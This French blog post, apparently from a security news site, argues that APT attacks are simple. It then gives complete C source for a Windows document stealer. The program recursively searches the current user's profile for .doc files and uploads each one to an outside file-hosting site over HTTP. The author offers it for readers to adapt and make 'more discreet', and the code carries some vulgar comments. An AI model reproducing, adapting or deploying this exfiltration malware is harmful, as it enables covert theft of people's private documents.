Malware voleur de documents

Comme on a pu le constater par les cas d'attaques ciblées dites Advanced Persistent Threat traitées sur d4n3wS, le mode opératoire utilisé par les pirates ainsi que les outils qu'il utilisent n'ont justement rien de bien avancés.
Dans plusieurs des cas rendus publics par les victimes elles-même ou les boites de sécu ayant géré l'événement, l'attaque se faisait par l'envoi d'un fichier piégé en pièce jointe d'un mail qui une fois ouvert exploitait une vulnérabilité connue (et pour laquelle un pach existait) en se basant sur un exploit connu lui aussi comme ceux que l'on trouve dans le framework Metasploit...
Le shellcode utilisé installait alors un bot (dans plusieurs cas connus il s'agissait de Poison Ivy) qui permettait aux pirates de se faire transférer les documents qu'ils souhaitaient.

Tout ça pour en arriver au fait que les attaques APT sont à la portée de tous pour peu que la sécurité de la cible tende vers zéro...

Du coup on s'est amusé à coder le programme que voici qui va chercher des fichiers .doc dans le dossiers Documents and Settings de l'utilisateur courant pour les uploader vers un script PHP sur Internet. Bref un voleur de documents :)
Bien sûr le code est à adapter selon vos besoins pour le rendre plus discret, rajouter des paths, des extensions à chercher & co.
Une bonne partie du début du code vous sera normalement inutile mais peut être activée en cas de besoin. Ca permet de gérer le système de junctions introduit dans Vista qui apparemment pose problème uniquement avec les fonctions non-unicode... Sur ce PROFIT! comme on dit ;-)

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <Shlobj.h>
#include <stdlib.h>
#include <WinIoCtl.h>
#include <WinInet.h>

#pragma comment(lib, "Shell32.lib")
#pragma comment(lib,"wininet.lib")

/* struct et fonction pompees depuis
 * http://blog.kalmbach-software.de/2008/02/28/howto-correctly-read-reparse-data-in-vista/
 * A l'origine rajoutees pour gerer les junctions dans Vista/7 mais lorsque j'ai passe
 * le code en wchar le probleme ne se presentait plus...
 * Je laisse quand meme le code a titre d'exemple.
 */
typedef struct _REPARSE_DATA_BUFFER {
  ULONG  ReparseTag;
  USHORT  ReparseDataLength;
  USHORT  Reserved;
  union {
    struct {
      USHORT  SubstituteNameOffset;
      USHORT  SubstituteNameLength;
      USHORT  PrintNameOffset;
      USHORT  PrintNameLength;
      ULONG   Flags;
      WCHAR  PathBuffer[1];
      } SymbolicLinkReparseBuffer;
    struct {
      USHORT  SubstituteNameOffset;
      USHORT  SubstituteNameLength;
      USHORT  PrintNameOffset;
      USHORT  PrintNameLength;
      WCHAR  PathBuffer[1];
      } MountPointReparseBuffer;
    struct {
      UCHAR  DataBuffer[1];
    } GenericReparseBuffer;
  };
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

#define REPARSE_DATA_BUFFER_HEADER_SIZE  FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer)
#define MAXIMUM_REPARSE_DATA_BUFFER_SIZE  ( 16 * 1024 )

int resolve(wchar_t *filename, wchar_t *realpath)
{
  HANDLE hFile;

  hFile = CreateFileW(filename,
	  FILE_READ_EA,
	  FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
	  NULL,
	  OPEN_EXISTING,
	  FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
	  NULL);

  if (hFile == INVALID_HANDLE_VALUE)
  {
    wprintf(L"Could not open dir '%s'; error: %d\n", filename, GetLastError());
    return 1;
  }

  // Allocate the reparse data structure
  DWORD dwBufSize = MAXIMUM_REPARSE_DATA_BUFFER_SIZE;
  REPARSE_DATA_BUFFER* rdata;
  rdata = (REPARSE_DATA_BUFFER*) malloc(dwBufSize);

  // Query the reparse data
  DWORD dwRetLen;
  BOOL bRet = DeviceIoControl(hFile, FSCTL_GET_REPARSE_POINT, NULL, 0, rdata, dwBufSize, &dwRetLen, NULL);
  if (bRet == FALSE)
  {
    wprintf(L"DeviceIoControl failed with error: %d\n", GetLastError());
    CloseHandle(hFile);
    return 1;
  }
  CloseHandle(hFile);

  if (IsReparseTagMicrosoft(rdata->ReparseTag))
  {
    if (rdata->ReparseTag == IO_REPARSE_TAG_SYMLINK)
    {
      wprintf(L"Symbolic-Link\n");
      size_t plen = rdata->SymbolicLinkReparseBuffer.PrintNameLength / sizeof(wchar_t);
      wcsncpy_s((WCHAR*)realpath, plen+1, &rdata->SymbolicLinkReparseBuffer.PathBuffer[rdata->SymbolicLinkReparseBuffer.PrintNameOffset / sizeof(WCHAR)], plen);
      realpath[plen] = 0;
      wprintf(L"PrintName (len: %d): '%s'\n", rdata->SymbolicLinkReparseBuffer.PrintNameLength, realpath);
    }
    else if (rdata->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
    {
      wprintf(L"Mount-Point\n");

      size_t plen = rdata->MountPointReparseBuffer.PrintNameLength / sizeof(wchar_t);
      wcsncpy_s((WCHAR*)realpath, plen+1, &rdata->MountPointReparseBuffer.PathBuffer[rdata->MountPointReparseBuffer.PrintNameOffset / sizeof(WCHAR)], plen);
      realpath[plen] = 0;
      wprintf(L"PrintName (len: %d): '%s'\n", rdata->MountPointReparseBuffer.PrintNameLength, realpath);
    }
    else
    {
      wprintf(L"No Mount-Point or Symblic-Link...\n");
    }
  }
  else
  {
    wprintf(L"Not a Microsoft-reparse point - could not query data!\n");
  }
  free(rdata);
  return 0;
}

// On entre dans le vrai-vrai comme la video de Pamela et Tommy Lee
// Uploade le fichier fname sur le service uploadmb.com mais n'importe
// quel page d'upload classique fera l'affaire.
int upload(wchar_t *fname)
{
    // Le texte qui se trouve dans le body doit etre de l'ascii pur
    static const char multipart_head1[] = "--boundarylamestring\r\nContent-Disposition: form-data; name=\"gfile\"; filename=\"";
    static const char multipart_head2[] = "\"\r\nContent-Type: application/octet-stream\r\n\r\n";
    static const char multipart_end[] = "\r\n--boundarylamestring--\r\n";
    char *ascii_fname;
    int len;

    // Les headers passes aux fonctions sont en unicode
    static const wchar_t hdrs[] = L"Content-Type: multipart/form-data; boundary=boundarylamestring";
    static LPCWSTR accept[2] = { L"text/*", NULL};

    // Buffer pour la lecture de la page web de reponse
    char szData[7000];
    char *url_start, *url_end;
    DWORD dwBytesRead;
    DWORD dwBytesWritten;

    BYTE pBuffer[1024];

    HANDLE hFile;
    INTERNET_BUFFERSW BufferIn = {0};

    wprintf(L"Uploading %s...\n", fname);

    // Ouverture du fichier a uploader
    hFile = CreateFileW(fname,
                GENERIC_READ,
                FILE_SHARE_READ,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL);

    BufferIn.dwStructSize = sizeof(INTERNET_BUFFERS);

    // Structure concernant les headers
    BufferIn.lpcszHeader = hdrs;
    BufferIn.dwHeadersLength = wcslen(hdrs);
    BufferIn.dwHeadersTotal = BufferIn.dwHeadersLength;

    // On calcule le Content-Length de la requete
    // Il faut compter la taille du fichier
    BufferIn.dwBufferTotal = GetFileSize(hFile, NULL);
    // Le debut du multipart
    BufferIn.dwBufferTotal += strlen(multipart_head1);
    BufferIn.dwBufferTotal += strlen(multipart_head2);

    // La taille du nom du fichier
    len = wcslen(fname) + 1;
    ascii_fname = (char*)malloc(len);
    WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, fname, -1, ascii_fname, len, NULL, NULL);

    BufferIn.dwBufferTotal += strlen(ascii_fname);

    // La fin du multipart
    BufferIn.dwBufferTotal += strlen(multipart_end);

    HINTERNET hSession = InternetOpenW(L"Mozilla", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    if(!hSession)
    {
      wprintf(L"Error: InternetOpen\n");
    }

    // Share the cock bitch, share the cock
    HINTERNET hConnect = InternetConnectW(hSession,
                                         L"uploadmb.com",
                                         INTERNET_DEFAULT_HTTP_PORT,
                                         NULL,
                                         NULL,
                                         INTERNET_SERVICE_HTTP,
                                         0,
                                         1);
    if(!hConnect)
    {
      wprintf(L"Error: InternetConnect\n");
    }

    HINTERNET hRequest = HttpOpenRequestW(hConnect,
                                         (const wchar_t*) L"POST",
                                         L"/index.php",
                                         NULL, // lpszVersion -> HTTP/1.1
                                         NULL, // Referer : inutile
                                         accept, // Tableau des types acceptes
                                         INTERNET_FLAG_NO_CACHE_WRITE,
                                         1); // 1
    if(hRequest == NULL)
    {
      wprintf(L"Error: HttpOpenRequest\n");
    }

    BOOL sent = HttpSendRequestExW(hRequest, &BufferIn, NULL, 0, 0);
    if(!sent)
    {
      wprintf(L"Error: HttpSendRequest: %lu\n", GetLastError());
    }
    // Envoi de la marque de debut de fichier
    InternetWriteFile(hRequest, multipart_head1, strlen(multipart_head1), &dwBytesWritten);
    // Le nom du fichier
    InternetWriteFile(hRequest, ascii_fname, strlen(ascii_fname), &dwBytesWritten);
    // La fin du multipart
    InternetWriteFile(hRequest, multipart_head2, strlen(multipart_head2), &dwBytesWritten);

    do
    {
		// Envoi du contenu du fichier
        ReadFile(hFile, pBuffer, sizeof(pBuffer), &dwBytesRead, NULL);
        InternetWriteFile(hRequest,pBuffer, dwBytesRead, &dwBytesWritten);
    }
    while (dwBytesRead == sizeof(pBuffer));

    CloseHandle(hFile);

    // Envoi de la marque de fin de fichier
    InternetWriteFile(hRequest, multipart_end, strlen(multipart_end), &dwBytesWritten);
    HttpEndRequest(hRequest, NULL, 0, 0);

    // Recupere l'url d'upload generee par le site
    // A vous de voir si vous voulez en faire quelque chose :)
    InternetReadFile(hRequest, szData, sizeof(szData)-1, &dwBytesRead);
    szData[dwBytesRead] = 0;
    url_start = strstr(szData, "http://uploadmb.com/dw.php?id=");
    url_end = strstr(url_start, "-->");
    *url_end = '\0';
    printf("%s\n", url_start);

    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);

    return 0;
}

/* Scanne tous les fichiers recursivement dans dir */
void browsedir(wchar_t *dir)
{
	WIN32_FIND_DATAW FindFileData;
	HANDLE hFind;
	wchar_t fileext[5];
	// wchar_t realpath[MAX_PATH];

	if(!SetCurrentDirectoryW(dir)){
		return;
	}
	hFind = FindFirstFileW(L"*.*", &FindFileData);
	if (hFind != INVALID_HANDLE_VALUE)
	{
		do
		{
			if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				if(wcscmp(FindFileData.cFileName, L".") != 0
					&& wcscmp(FindFileData.cFileName, L"..") != 0)
				{
					//wprintf(L"%s\n", FindFileData.cFileName);
					browsedir(FindFileData.cFileName);
				}
			}
			else if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT)
				&& FindFileData.dwReserved0 == IO_REPARSE_TAG_MOUNT_POINT)
			{
				/* Si vous avez des pbs avec les junctions, essayez en decomantant ces lignes
				resolve(FindFileData.cFileName, realpath);
				browsedir(realpath);
				*/
			}
			else
			{
				/* C'est ici que l'on gere les types de fichier */
				_wsplitpath_s(FindFileData.cFileName, NULL, 0, NULL, 0, NULL, 0, fileext, 5);
				if(wcscmp(fileext, L".doc") == 0)
				{
						upload(FindFileData.cFileName);
				}
			}
		}
		while (FindNextFileW(hFind, &FindFileData) == TRUE);
		FindClose(hFind);
	}
	SetCurrentDirectoryW(L"..");
}

int _tmain(int argc, TCHAR *argv[])
{
	wchar_t userdir[MAX_PATH];

	SHGetSpecialFolderPathW(NULL, userdir, CSIDL_PROFILE, 0);
	browsedir(userdir);

	wprintf(L"Press a key\n");
	getchar();
	return 0;
}